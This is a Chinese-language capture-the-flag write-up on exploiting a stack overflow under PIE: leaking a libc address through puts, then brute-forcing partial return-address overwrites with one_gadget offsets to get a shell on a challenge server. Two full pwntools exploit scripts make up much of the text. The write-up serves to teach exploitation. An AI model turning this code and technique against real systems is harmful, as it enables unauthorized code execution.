[栈溢出]PIE保护下onegadget提权与libc地址爆破
题目只给了一次输入机会
栈溢出点在136位之后
之后有个puts函数可以泄露一点栈上的东西
在本地调试
溢出返回位于libc领空
本地调试使用的libc与服务器不一样
查看本地libc 中__libc_start_main+235 是什么东西
是__libc_start_main+235函数的后部 退出函数
泄露一下远程服务器的返回地址
#coding:utf-8 from pwn import * #context.log_level = 'debug' p=remote("nc.eonew.cn",10004) p.sendline('a'*136) p.recv(136) addr=u64(p.recv().ljust(8,'\x00')) print hex(addr) p.interactive()
结尾是b97的libc地址
查看题目所给的libc,结合本地调试经验,从__libc_start_main函数下手
也是这几句指令
同样在libc上
由于程序开启PIE,且只有一次输入机会,我们没有机会劫持控制流进行代码复用
找了几个onegadget尝试爆破
one_gadget_addr=0x10a38c one2=0x4f2c5 one3=0x4f322
三个onegadget选择一个
只有后三位是确定的,而前几位只能爆破
#coding:utf-8 from pwn import * vsyscall=0xffffffffff600000 #context.log_level = 'debug' i=1 while(1): one_gadget_addr=0x10a38c one2=0x4f2c5 one3=0x4f322 libc_base=-0x4f440 #p=process("/root/桌面/./easy_stack") p=remote("nc.eonew.cn",10004) #attach(p,"b puts") #p.sendline('a'*136+'\xb0\x1a') p.sendline('a'*136+'\xc5\xf2\x14') #p.sendline('a'*136+'\x22\xf3\x04') #p.sendline('a'*136+'\x8c\xa3\x10') #p.sendline('a'*136+'\xd0\x1a') #print 'a'*126 #attach(p,"b puts") p.recv(136) addr=u64(p.recv().ljust(8,'\x00')) print hex(addr)+' '+str(i) i=i+1 try: p.recv(timeout=1) p.recv(timeout=1) except EOFError: p.close() continue #p.close() p.interactive()
需要爆破三位十六进制数组,由于服务器每次都会变,脚本干脆不变了,爆破失败程序会退出,当recv()触发EOFerror时认为爆破失败,继续下一轮
最大爆破次数为16^3=4096次
398次爆破成功